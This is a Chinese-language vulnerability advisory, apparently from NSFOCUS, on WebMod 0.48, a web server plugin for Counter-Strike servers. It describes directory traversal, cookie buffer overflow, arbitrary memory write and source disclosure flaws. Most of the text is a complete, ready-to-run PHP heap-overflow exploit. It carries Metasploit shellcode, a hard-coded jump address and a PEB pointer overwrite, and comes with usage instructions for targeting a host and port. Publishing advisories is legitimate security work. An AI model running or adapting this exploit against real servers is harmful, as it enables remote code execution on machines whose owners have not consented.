安全研究
安全漏洞
WebMod多个远程安全漏洞
发布日期:2008-05-03
更新日期:2008-05-04
受影响系统:
djeyl.net WebMod <= 0.48描述:
BUGTRAQ ID: 29031
WebMod是开放源码的MetaMod插件,可用作CS游戏的web服务器。
WebMod插件中存在多个安全漏洞,可能允许远程攻击者执行目录遍历攻击、触发缓冲区溢出或读取敏感信息。
----------------------
A] 目录遍历
----------------------
WebMod使用的防目录遍历检查搜索客户端HTTP请求中的“../”内容,因此攻击者可以使用“..\”模式绕过检查从磁盘下载任意文件,包括游戏服务器的配置文件(例如..\..\..\..\platform\config\server.vdf或..\..\..\server.cfg)。仅可以在Windows服务器上利用这个漏洞。
以下是server.cpp中的有漏洞代码部分:
void clientHandle(int connfd, httpquery_t *query, int tid)
...
if(strstr(str,"../")) // hack attempt, display index page
{
str[0]='\0';
}
-------------------------
B] Cookie缓冲区溢出
-------------------------
大于MYSOCK_BUFLEN (8192字节)的cookie参数可能触发栈溢出。
以下是server.cpp中的有漏洞代码部分:
void connectHandle(void *data)
{
char *input;
char buf[MYSOCK_BUFLEN+1];
...
for(j=0;input[i]&&input[i]!=';'&&input[i]!='\n';j++,i++)
buf[j]=input[i];
--------------------------------------
C] parser.cpp写入任意内存
--------------------------------------
大于MAX_FILE_SIZE(16384字节)的值可能导致通过strcat(auth.w?mode)、空指针(auth.w?redir)或无效内存访问(auth.w的rconpass参数)等向自定义内存地址写入自定义数据。
----------------------------
D] 脚本源码泄露
----------------------------
在所请求的URI末尾添加句号允许查看脚本的源码而不是执行脚本。
<*来源:Luigi Auriemma (aluigi@pivx.com)
链接:http://marc.info/?l=bugtraq&m=120984359213177&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
## HLDS WebMod 0.48 (rconpass) Remote Heap Overflow Exploit
## Tested on HLDS Launcher 4.1.1.1, WebMod 0.48, Windows XP SP2 Hebrew
## shir, skod.uk [at] gmail [dot] com
## 17/12/2007
## Registers (rconpass = "A"x16444):
# EAX 67E04955 w_mm.67E04955
# ECX 41414141
# EDX 41414141
# EBX 0000000A
# ESP 08F650FC
# EBP 08F726D4
# ESI 08F72734
# EDI 00000000
# EIP 67E0498C w_mm.67E0498C
#########
error_reporting(7);
ini_set("max_execution_time",0);
if($_SERVER['argv'][1] && $_SERVER['argv'][2]) {
$host = $_SERVER['argv'][1];
$port = $_SERVER['argv'][2];
} else {
echo ("\r\nHLDS WebMod 0.48 Remote Heap Overflow Exploit\r\n");
echo ("Written by shir, skod.uk\x40gmail\x2Ecom\r\n");
echo ("Usage: php {$_SERVER['argv'][0]} IP PORT\r\n");
echo ("Example: php {$_SERVER['argv'][0]} 192.168.0.100 27015\r\n");
exit();
}
echo "[~] Packing...\r\n";
$scode = "\x66\x83\xC0\x04\xFF\xE0"; /*ADD EAX, 4 => JMP EAX*/
# win32_bind - Calc executer. Metasploit.com
$shellcode =
"\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf4".
"\x47\xba\xa4\x83\xeb\xfc\xe2\xf4\x08\xaf\xfe\xa4\xf4\x47\x31\xe1".
"\xc8\xcc\xc6\xa1\x8c\x46\x55\x2f\xbb\x5f\x31\xfb\xd4\x46\x51\xed".
"\x7f\x73\x31\xa5\x1a\x76\x7a\x3d\x58\xc3\x7a\xd0\xf3\x86\x70\xa9".
"\xf5\x85\x51\x50\xcf\x13\x9e\xa0\x81\xa2\x31\xfb\xd0\x46\x51\xc2".
"\x7f\x4b\xf1\x2f\xab\x5b\xbb\x4f\x7f\x5b\x31\xa5\x1f\xce\xe6\x80".
"\xf0\x84\x8b\x64\x90\xcc\xfa\x94\x71\x87\xc2\xa8\x7f\x07\xb6\x2f".
"\x84\x5b\x17\x2f\x9c\x4f\x51\xad\x7f\xc7\x0a\xa4\xf4\x47\x31\xcc".
"\xc8\x18\x8b\x52\x94\x11\x33\x5c\x77\x87\xc1\xf4\x9c\xb7\x30\xa0".
"\xab\x2f\x22\x5a\x7e\x49\xed\x5b\x13\x24\xdb\xc8\x97\x47\xba\xa4";
$evilcode = str_repeat("\x90", 100);
$evilcode.= $shellcode;
$evilcode.= str_repeat("\x90", 16156-(strlen($shellcode)));
$evilcode.= "\xFD\xAF\x6A\x07"; #076AAFFD FFE4 => JMP ESP (cstrike\dlls\mp.dll)
$evilcode.= str_repeat("\x90", 60-(strlen($scode)));
$evilcode.= $scode;
$evilcode.= str_repeat("\x90", 8);
$evilcode.= str_repeat("0", 72);
$evilcode.= str_repeat("%00", 4);
$evilcode.= str_repeat("0", 4);
$evilcode.= "\x20\xF0\xFD\x7F"; #Windows PEB Lock Pointer
$evilcode.= str_repeat("%00", 8);
$post = "rconpass=" . $evilcode . "&setcookiesNULL=rconpass";
$pack = "POST /auth.w?redir= HTTP/1.1\r\n";
$pack.= "Host: {$host}:{$port}\r\n";
$pack.= "User-Agent: Mozilla/5.0\r\n";
$pack.= "Accept: */*\r\n";
$pack.= "Accept-Language: en-us,en;q=0.5\r\n";
$pack.= "Accept-Encoding: gzip,deflate\r\n";
$pack.= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$pack.= "Keep-Alive: 300\r\n";
$pack.= "Connection: keep-alive\r\n";
$pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
$pack.= "Content-Length: ". strlen($post) ."\r\n\r\n" . $post;
echo "[~] Sending...\r\n";
$sock = @fsockopen($host, $port, $errno, $errstr, 10);
if ($errstr)
echo("[-] Can't connect {$host}:{$port}\r\n");
else {
fputs($sock, $pack);
$tmp = fgets($sock,1024);
if(strstr($tmp, '<'))
echo "[-] Failed, you better try again.\r\n";
else
echo "[+] Shellcode should be executed.\r\n";
fclose($sock);
}
?>
http://aluigi.org/poc/webmodz.zip
建议:
厂商补丁:
djeyl.net
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.djeyl.net/w.php
浏览次数:2331
严重程度:0(网友投票)
绿盟科技给您安全的保障
